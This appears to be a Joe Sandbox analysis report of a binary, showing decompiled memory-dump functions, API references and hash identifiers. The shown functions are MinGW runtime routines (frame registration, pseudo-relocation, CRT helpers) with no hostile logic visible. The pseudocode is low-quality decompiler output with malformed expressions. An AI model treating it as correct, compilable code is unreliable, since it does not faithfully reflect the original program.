0x004260d4
0x004260d8
0x004260e4
0x004261f4
0x00426200
0x0042620f
0x004260ea
0x004260ea
0x004260ed
0x00426216
0x00426216
0x00426216
0x0042621a
0x0042622d
0x004260f3
0x004260f3
0x004260f8
0x004260fe
0x00426104
0x0042610c
0x0042610f
0x00426113
0x00426115
0x00426121
0x0042612c
0x00426135
0x0042613d
0x00426230
0x00426238
0x00426240
0x00426248
0x0042624b
0x0042624f
0x0042625c
0x00426264
0x00426266
0x004262e0
0x004262e8
0x004262eb
0x004262ef
0x004262f3
0x004262f7
0x004262fc
0x00426304
0x00426308
0x0042631d
0x0042631d
0x0042630a
0x0042630d
0x00426318
0x0042631b
0x00000000
0x00000000
0x0042631b
0x0042632a
0x0042632d
0x00426332
0x00426338
0x00426338
0x00000000
0x00426268
0x00426268
0x0042626b
0x0042626f
0x00426272
0x00426274
0x00426276
0x00426280
0x00426282
0x00426288
0x0042628b
0x0042628d
0x0042628d
0x00426291
0x00426295
0x00426295
0x00426297
0x0042629b
0x0042629f
0x004262a1
0x004262a1
0x004262a1
0x004262b0
0x004262b4
0x004262b6
0x004262ba
0x004262ba
0x00426143
0x00426143
0x00426145
0x00426151
0x00426157
0x0042615b
0x0042615f
0x0042613d
0x004261dc
0x004261eb
0x004261eb
0x004260ed
0x004260e4
0x004260ca
0x004260c1
0x004260a7

APIs

_errno.MSVCRT ref: 0042604B
_fileno.MSVCRT ref: 00426059
_lseeki64.MSVCRT ref: 00426089

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: _errno_fileno_lseeki64
String ID:
API String ID: 1152433503-0
Opcode ID: 814e0861dadda75ae9165145286de5e3cdf0c41f73195bde33580cae64226544
Instruction ID: 1d3d70ad9708188fbd7370cbbbc615797d092b718acaba79f448a65c50ce6287
Opcode Fuzzy Hash: 814e0861dadda75ae9165145286de5e3cdf0c41f73195bde33580cae64226544
Instruction Fuzzy Hash: 30915DB16083218FC710CF18D48071BBBE1BFC8754F5A8A6EE8989B351D775ED098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00424130 Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b3190aa4178d2e3c3feb517df5b97982056f5cd726fc365ad1b9160963eb87b
Instruction ID: c397e202039adc2d0c3a6e6d63d77ae83fe912fd8c054466ea8c59b117763e13
Opcode Fuzzy Hash: 7b3190aa4178d2e3c3feb517df5b97982056f5cd726fc365ad1b9160963eb87b
Instruction Fuzzy Hash: EB419070705320CBDB10DF69F8887377BE4FBA0354B84966AE8148B351D738E859CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00422E70 Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00422E70(void* __eax, void* __ebx, void* __edx, void* __edi, void* __esi, char _a4) {
				intOrPtr _v0;
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v156;
				char _v284;
				char _v288;
				intOrPtr _v312;
				char* _v356;
				void* _t32;
				void* _t34;
				struct HINSTANCE__* _t35;
				struct HINSTANCE__* _t38;
				_Unknown_base(*)()* _t39;
				void* _t42;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t59;
				intOrPtr _t61;
				void* _t66;
				void* _t71;
				intOrPtr _t72;
				_Unknown_base(*)()* _t73;
				void* _t77;
				void* _t81;
				intOrPtr* _t83;
				char** _t84;
				char** _t85;
				struct HINSTANCE__** _t87;
				struct HINSTANCE__** _t88;

				_t77 = _t81;
				_t71 =  &_v284;
				_t46 =  &_v156;
				_push(__edx);
				_push(__eax);
				E00422420( &_v284, _v0,  &_a4);
				_t59 = _t46;
				_t32 = memcpy(_t46, _t71, 0x20 << 2);
				_t83 = _t81 - 0x124 + 0xc;
				_t66 = _t71 + 0x40;
				_t9 = _t32 + 0xc; // 0x90909090
				_t72 =  *_t9;
				if(_t72 != 0) {
					_t34 = L00422750(_a4,  &_v288, _t59);
				} else {
					__eax = E00422680(__eax, __ecx, __edx);
				}
				if(_t34 != 7) {
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					_push(_t77);
					_push(_t66);
					_push(_t72);
					_t84 = _t83 - 0x1c;
					 *_t84 = "libgcc_s_dw2-1.dll";
					_t35 = GetModuleHandleA(_t46);
					_t85 = _t84 - 4;
					if(_t35 == 0) {
						 *0x4b6004 = 0x424590;
						_t73 = E00424340;
					} else {
						_t48 = _t35;
						 *_t85 = "libgcc_s_dw2-1.dll";
						_t38 = LoadLibraryA(??);
						_t87 = _t85 - 4;
						 *0x607df0 = _t38;
						_v356 = "__register_frame_info";
						 *_t87 = _t48;
						_t39 = GetProcAddress(??, ??);
						_t88 = _t87 - 8;
						_t73 = _t39;
						_v356 = "__deregister_frame_info";
						 *_t88 = _t48;
						 *0x4b6004 = GetProcAddress(??, ??);
						_t85 = _t88 - 8;
					}
					if(_t73 != 0) {
						_v356 = 0x60701c;
						 *_t85 = 0x5ca0f8;
						 *_t73();
					}
					 *_t85 = 0x401590;
					return E004014C0();
				} else {
					_t42 = L00422880( &_v284, _t46);
					_t61 = _v80;
					_v312 = _t61;
					 *_t83 = _v84;
					 *((intOrPtr*)(_t77 + E00422C60(_t42) + 4)) = _t61;
					return _v24;
				}
			}

0x00422e71
0x00422e75
0x00422e7c
0x00422e82
0x00422e88
0x00422e98
0x00422ea5
0x00422ea7
0x00422ea7
0x00422ea7
0x00422eaf
0x00422eaf
0x00422eb4
0x00422f05
0x00422eb6
0x00422eb6
0x00422eb6
0x00422ebe
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00422ec4
0x00422ecc
0x00422ed1
0x00422ed7
0x00422edb
0x00422ee5
0x00422f01
0x00422f01

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52449c6311178cba806f8e2e751b0668483d904eefecd0e96bdb35aa74523979
Instruction ID: 4a9a93ae60080206943e1f210e6ce525e808d33113be882113a7157214731bad
Opcode Fuzzy Hash: 52449c6311178cba806f8e2e751b0668483d904eefecd0e96bdb35aa74523979
Instruction Fuzzy Hash: CF11B131A0012CABCB14FFA5D5819DEB3B4AF84308F81857FEC0967301EA74AE498B95

Uniqueness

Uniqueness Score: -1.00%

Function 00425F90 Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

fsetpos.MSVCRT ref: 00425FC8
fgetpos.MSVCRT ref: 00425FE0
fflush.MSVCRT ref: 00425FFA
_fileno.MSVCRT ref: 00426002
_filelengthi64.MSVCRT ref: 0042600A
_errno.MSVCRT ref: 00426024

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: _errno_filelengthi64_filenofflushfgetposfsetpos
String ID:
API String ID: 4183758535-0
Opcode ID: c6f4f70c3b87f2e6b11aa6ac134c1730575a2a5ba7453799162b420fdd254a71
Instruction ID: eaf4fd7014c4311893fb5d738d141a97816f77197f3407ca8d5980040bee08db
Opcode Fuzzy Hash: c6f4f70c3b87f2e6b11aa6ac134c1730575a2a5ba7453799162b420fdd254a71
Instruction Fuzzy Hash: 131160716087248BC310EF1AA58001FBBF0AFD5364F91493FF49443252E63899888B87

Uniqueness

Uniqueness Score: -1.00%

Function 00436020 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00436038
strlen.MSVCRT ref: 00436042
memcpy.MSVCRT ref: 0043605F
setlocale.MSVCRT ref: 00436072
wcsftime.MSVCRT ref: 00436096
setlocale.MSVCRT ref: 004360A8

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: d6fb168febc48cf76c9041825a841e75fa3aa0a618e04ca0b823abeb5d328ee5
Instruction ID: b919ad1cb5017c7fad741eaa3005ae9ab445cffa0d6124cebb010fa1b2f370e6
Opcode Fuzzy Hash: d6fb168febc48cf76c9041825a841e75fa3aa0a618e04ca0b823abeb5d328ee5
Instruction Fuzzy Hash: 6A1172B06093149BC740EF6AD48561FBBF4AF98754F81883EF8C887312E77998448B96

Uniqueness

Uniqueness Score: -1.00%

Function 00435D80 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00435D98
strlen.MSVCRT ref: 00435DA2
memcpy.MSVCRT ref: 00435DBF
setlocale.MSVCRT ref: 00435DD2
strftime.MSVCRT ref: 00435DF6
setlocale.MSVCRT ref: 00435E08

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: c2ff13b457cbcd1f6e0fa36cd50b1926455dfdaee17c4c1fbe29d1a2365bc9a8
Instruction ID: a264db8ce1ea084f5672236a113bac18c3d93466fa97a5b7250a4e7b89eee5cd
Opcode Fuzzy Hash: c2ff13b457cbcd1f6e0fa36cd50b1926455dfdaee17c4c1fbe29d1a2365bc9a8
Instruction Fuzzy Hash: 9C1183B46093149FC340EF6AD48561FBBE4AF98754F81882EF8C887302E7789844CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00478E50 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00478E6D
_errno.MSVCRT ref: 00478E71
_errno.MSVCRT ref: 00478E80
fflush.MSVCRT ref: 00478E8A
_errno.MSVCRT ref: 00478E93

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: _errno$fflush
String ID:
API String ID: 3480992530-0
Opcode ID: 4e779fca21a98c0d6b34e7bbceafeeff4e8ec6087f7698f843e5243def6be637
Instruction ID: 5ae1b92834400cb94df9a9918daae37f96860e5c8844958778037e441f27a292
Opcode Fuzzy Hash: 4e779fca21a98c0d6b34e7bbceafeeff4e8ec6087f7698f843e5243def6be637
Instruction Fuzzy Hash: 70F081322402188FD3117F6EAC4465BBBA8EFA1714F46407BD548CB321DB7558048BB6

Uniqueness

Uniqueness Score: -1.00%

Function 0041F9CC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58
memoryCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0041F9CC(void* __ebx, signed int _a4, char* _a8, intOrPtr _a12, char* _a20, signed int _a32, signed int _a40) {
				void* _v16;
				char _v32;
				void* _v45;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v68;
				signed int _v72;
				signed int _v100;
				signed int _t85;
				intOrPtr _t86;
				long _t87;
				void* _t92;
				int _t102;
				signed int _t108;
				intOrPtr _t112;
				intOrPtr _t113;
				signed int _t124;
				char* _t126;
				long _t127;
				signed int _t132;
				char* _t134;
				long _t135;
				signed int _t137;
				signed int _t138;
				long _t140;
				signed int _t141;
				long** _t143;
				signed int _t145;
				long _t148;
				intOrPtr _t155;
				long _t156;
				signed int _t157;
				signed int _t159;
				long _t162;
				long _t163;
				long _t164;
				long _t167;
				void* _t169;
				long _t170;
				signed int _t175;
				intOrPtr _t176;
				intOrPtr _t178;
				DWORD* _t179;
				signed char* _t181;
				long _t185;
				intOrPtr _t187;
				intOrPtr* _t191;
				char** _t197;
				void* _t198;
				char** _t199;
				intOrPtr* _t202;

				while(1) {
					_t155 = _t137 +  *0x6073c4;
					_t134 = _a20;
					_t175 = _a32;
					 *(_t155 + 4) = _t134;
					 *((intOrPtr*)(_t155 + 8)) = _t175;
					_a12 = _t155;
					_a8 = 0x40;
					_a4 = _t175;
					 *_t197 = _t134;
					_t132 = VirtualProtect(??, ??, ??, ??);
					_t197 = _t197 - 0x10;
					__eflags = _t132;
					if(__eflags != 0) {
						break;
					}
					_t135 = GetLastError();
					 *_t197 = "  VirtualProtect failed with code 0x%x";
					_a4 = _t135;
					_t85 = E004AE5B0(__eflags);
					 *_t197 = _t85;
					_t137 = _t85;
					_t86 = E00420200();
					_t176 = _t86;
					if(_t86 == 0) {
						L11:
						_a4 = _t137;
						 *_t197 = "Address %p has no image-section";
						_t87 = E004AE5B0(__eflags);
						_push(_t176);
						_push(0);
						_push(_t137);
						_t198 = _t197 - 0x3c;
						_t138 =  *0x6073bc;
						__eflags = _t138;
						if(_t138 == 0) {
							 *0x6073bc = 1;
							_t92 = E00420460(0x0000001e + (E00420270() + _t88 * 0x00000004) * 0x00000004 & 0xfffffff0);
							 *0x6073c0 = 0;
							_t199 = _t198 - _t92;
							 *0x6073c4 =  &_v45 & 0xfffffff0;
							_t87 = 0;
							__eflags = 0x5c9f80 - 7;
							if(0x5c9f80 <= 7) {
								goto L13;
							} else {
								__eflags = 0x5c9f80 - 0xb;
								_t163 =  *0x5c9f80; // 0x0
								if(0x5c9f80 <= 0xb) {
									_t156 = 0x5c9f80;
									goto L30;
								} else {
									__eflags = _t163;
									if(_t163 == 0) {
										L39:
										_t162 =  *0x5c9f84; // 0x0
										__eflags = _t162;
										if(_t162 != 0) {
											goto L17;
										} else {
											_t170 =  *0x5c9f88; // 0x0
											__eflags = _t170;
											if(_t170 != 0) {
												_t156 = 0x5c9f80;
												goto L32;
											} else {
												_t163 =  *0x5c9f8c; // 0x0
												_t156 = 0x5c9f8c;
												L30:
												__eflags = _t163;
												if(_t163 != 0) {
													goto L18;
												} else {
													_t55 = _t156 + 4; // 0x0
													_t87 =  *_t55;
													__eflags = _t87;
													if(_t87 != 0) {
														goto L18;
													} else {
														L32:
														_t56 = _t156 + 8; // 0x0
														_t87 =  *_t56;
														__eflags = _t87 - 1;
														if(__eflags != 0) {
															_v72 = _t87;
															 *_t199 = "  Unknown pseudo relocation protocol version %d.\n";
															E004AE5B0(__eflags);
															_push(_t138);
															_t202 = _t199 - 0x18;
															_t143 = _v72;
															_t106 =  *( *_t143);
															__eflags = _t106 - 0xc0000091;
															if(_t106 > 0xc0000091) {
																__eflags = _t106 - 0xc0000094;
																if(_t106 == 0xc0000094) {
																	_v100 = 0;
																	 *_t202 = 8;
																	L0042F3D0();
																	__eflags = _t106 - 1;
																	if(_t106 != 1) {
																		goto L58;
																	} else {
																		_v100 = 1;
																		 *_t202 = 8;
																		L0042F3D0();
																		_t108 = 0xffffffff;
																	}
																} else {
																	__eflags = _t106 - 0xc0000096;
																	if(_t106 == 0xc0000096) {
																		goto L64;
																	} else {
																		__eflags = _t106 - 0xc0000093;
																		if(_t106 != 0xc0000093) {
																			goto L59;
																		} else {
																			goto L57;
																		}
																	}
																}
															} else {
																__eflags = _t106 - 0xc000008d;
																if(_t106 >= 0xc000008d) {
																	L57:
																	_v100 = 0;
																	 *_t202 = 8;
																	L0042F3D0();
																	__eflags = _t106 - 1;
																	if(_t106 == 1) {
																		_v100 = 1;
																		 *_t202 = 8;
																		L0042F3D0();
																		E0041F8E0(_t106);
																		_t108 = 0xffffffff;
																	} else {
																		L58:
																		__eflags = _t106;
																		if(_t106 != 0) {
																			 *_t202 = 8;
																			 *_t106();
																			_t108 = 0xffffffff;
																		} else {
																			goto L59;
																		}
																	}
																} else {
																	__eflags = _t106 - 0xc0000005;
																	if(_t106 != 0xc0000005) {
																		__eflags = _t106 - 0xc000001d;
																		if(_t106 != 0xc000001d) {
																			goto L59;
																		} else {
																			L64:
																			_v100 = 0;
																			 *_t202 = 4;
																			L0042F3D0();
																			__eflags = _t106 - 1;
																			if(_t106 == 1) {
																				_v100 = 1;
																				 *_t202 = 4;
																				L0042F3D0();
																				_t108 = _t106 | 0xffffffff;
																			} else {
																				__eflags = _t106;
																				if(_t106 == 0) {
																					goto L59;
																				} else {
																					 *_t202 = 4;
																					 *_t106();
																					_t108 = 0xffffffff;
																				}
																			}
																		}
																	} else {
																		_v100 = 0;
																		 *_t202 = 0xb;
																		L0042F3D0();
																		__eflags = _t106 - 1;
																		if(_t106 == 1) {
																			_v100 = 1;
																			 *_t202 = 0xb;
																			L0042F3D0();
																			_t108 = _t106 | 0xffffffff;
																		} else {
																			__eflags = _t106;
																			if(_t106 == 0) {
																				L59:
																				_t106 =  *0x6073cc;
																				__eflags =  *0x6073cc;
																				if( *0x6073cc != 0) {
																					_v72 = _t143;
																					_t202 = _t202 + 0x18;
																					_pop(_t143);
																					goto __eax;
																				}
																				_t108 = 0;
																			} else {
																				 *_t202 = 0xb;
																				 *_t106();
																				_t108 = 0xffffffff;
																			}
																		}
																	}
																}
															}
															return _t108;
														} else {
															_t57 = _t156 + 0xc; // 0x5c9f8c
															_t191 = _t57;
															__eflags = _t191 - 0x5c9f80;
															if(_t191 >= 0x5c9f80) {
																goto L13;
															} else {
																_v56 = _t138;
																do {
																	_t112 =  *_t191;
																	_t59 = _t191 + 8; // 0x0
																	_t138 =  *_t59 & 0x000000ff;
																	_t60 = _t191 + 4; // 0x0
																	_t157 =  *_t60;
																	_t61 = _t112 + 0x400000; // 0x400000
																	_t169 = _t61;
																	_t62 = _t112 + 0x400000; // 0x905a4d
																	_t113 =  *_t62;
																	__eflags = _t138 - 0x10;
																	_t63 = _t157 + 0x400000; // 0x400000
																	_t181 = _t63;
																	_v48 = _t113;
																	if(_t138 == 0x10) {
																		_t66 = _t157 + 0x400000; // 0x905a4d
																		_t145 =  *_t66 & 0x0000ffff;
																		_v52 = _t157;
																		__eflags =  *(_t157 + 0x400000);
																		_t146 =  <  ? _t145 | 0xffff0000 : _t145;
																		_t147 = ( <  ? _t145 | 0xffff0000 : _t145) - _t169;
																		_t148 = ( <  ? _t145 | 0xffff0000 : _t145) - _t169 + _v48;
																		__eflags = _t148;
																		_t87 = E0041F910(_t181, _t181, _t191);
																		 *(_v52 + 0x400000) = _t148;
																		goto L43;
																	} else {
																		__eflags = _t138 - 0x20;
																		if(_t138 == 0x20) {
																			_t87 = E0041F910(_t181, _t181, _t191);
																			 *_t181 = _v48 - _t169 +  *_t181;
																			goto L43;
																		} else {
																			__eflags = _t138 - 8;
																			if(__eflags == 0) {
																				_t159 =  *_t181 & 0x000000ff;
																				__eflags =  *_t181;
																				_t160 =  <  ? _t159 | 0xffffff00 : _t159;
																				_t161 = ( <  ? _t159 | 0xffffff00 : _t159) - _t169;
																				_t121 = _t113 + ( <  ? _t159 | 0xffffff00 : _t159) - _t169;
																				_t152 = _t113 + ( <  ? _t159 | 0xffffff00 : _t159) - _t169;
																				_t87 = E0041F910(_t181, _t181, _t191);
																				 *_t181 = _t113 + ( <  ? _t159 | 0xffffff00 : _t159) - _t169;
																				goto L43;
																			} else {
																				_v72 = _t138;
																				 *_t199 = "  Unknown pseudo relocation bit size %d.\n";
																				_t87 = E004AE5B0(__eflags);
																				goto L39;
																			}
																		}
																	}
																	goto L73;
																	L43:
																	_t191 = _t191 + 0xc;
																	__eflags = _t191 - 0x5c9f80;
																} while (_t191 < 0x5c9f80);
																_t141 = _v56;
																goto L23;
															}
														}
													}
												}
											}
										}
									} else {
										L17:
										_t156 = 0x5c9f80;
										L18:
										__eflags = _t156 - 0x5c9f80;
										if(_t156 >= 0x5c9f80) {
											goto L13;
										} else {
											_t32 = _t156 + 8; // 0x5c9f88
											_t185 = _t32;
											_v52 = _t138;
											_t164 = _t156;
											_t140 = _t185;
											_t35 = (0x5c9f87 - _t185 >> 3) * 8; // 0x5c9f88
											_v48 = _t156 + _t35 + 8;
											while(1) {
												_t38 = _t164 + 4; // 0x0
												_t178 =  *_t38;
												_t39 = _t178 + 0x400000; // 0x905a4d
												_t40 = _t178 + 0x400000; // 0x400000
												_t187 =  *_t39 +  *_t164;
												_t87 = E0041F910(_t40, _t178, _t187);
												__eflags = _t140 - _v48;
												 *((intOrPtr*)(_t178 + 0x400000)) = _t187;
												_t164 = _t140;
												if(_t140 == _v48) {
													break;
												}
												_t140 = _t140 + 8;
												__eflags = _t140;
											}
											_t141 = _v52;
											L23:
											__eflags =  *0x6073c0;
											if( *0x6073c0 <= 0) {
												goto L13;
											} else {
												_t179 =  &_v32;
												do {
													_t102 =  *0x6073c4 + (_t141 + _t141 * 4) * 4;
													_t167 =  *_t102;
													__eflags = _t167;
													if(_t167 != 0) {
														_t102 = VirtualProtect( *(_t102 + 4),  *(_t102 + 8), _t167, _t179);
														_t199 = _t199 - 0x10;
													}
													_t141 = _t141 + 1;
													__eflags = _t141 -  *0x6073c0;
												} while (_t141 <  *0x6073c0);
												return _t102;
											}
										}
									}
								}
							}
						} else {
							L13:
							return _t87;
						}
					} else {
						_t137 = 0 << 2;
						_t124 =  *0x6073c4;
						 *((intOrPtr*)(_t124 + 0x10)) = _t176;
						 *_t124 = 0;
						_t126 = E00420300() +  *((intOrPtr*)(_t176 + 0xc));
						 *( *0x6073c4 + 0xc) = _t126;
						_a8 = 0x1c;
						 *_t197 = _t126;
						_a4 =  &_a20;
						_t127 = VirtualQuery(??, ??, ??);
						_t197 = _t197 - 0xc;
						if(_t127 == 0) {
							_a8 =  *( *0x6073c4 + 0xc);
							 *_t197 = "  VirtualQuery failed for %d bytes at address %p";
							_a4 =  *(_t176 + 8);
							E004AE5B0(__eflags);
							goto L11;
						} else {
							_t132 = _a40;
							if((_t132 - 0x00000040 & 0xffffffbf) == 0) {
								break;
							} else {
								_t132 = _t132 - 0x00000004 & 0xfffffffb;
								if(_t132 != 0) {
									continue;
								} else {
									break;
								}
							}
						}
					}
					L73:
				}
				 *0x6073c0 =  *0x6073c0 + 1;
				return _t132;
				goto L73;
			}

0x0041f9d0
0x0041f9d0
0x0041f9d6
0x0041f9da
0x0041f9de
0x0041f9e1
0x0041f9e4
0x0041f9e8
0x0041f9f0
0x0041f9f4
0x0041f9f7
0x0041f9fd
0x0041fa00
0x0041fa02
0x00000000
0x00000000
0x0041fa04
0x0041fa0a
0x0041fa11
0x0041fa15
0x0041f94e
0x0041f951
0x0041f953
0x0041f95a
0x0041f95c
0x0041fa47
0x0041fa47
0x0041fa4b
0x0041fa52
0x0041fa63
0x0041fa64
0x0041fa65
0x0041fa66
0x0041fa69
0x0041fa6f
0x0041fa71
0x0041fa80
0x0041fa9c
0x0041faa1
0x0041faab
0x0041fab4
0x0041fabe
0x0041fac3
0x0041fac6
0x00000000
0x0041fac8
0x0041fac8
0x0041facb
0x0041fad1
0x0041fb91
0x00000000
0x0041fad7
0x0041fad7
0x0041fad9
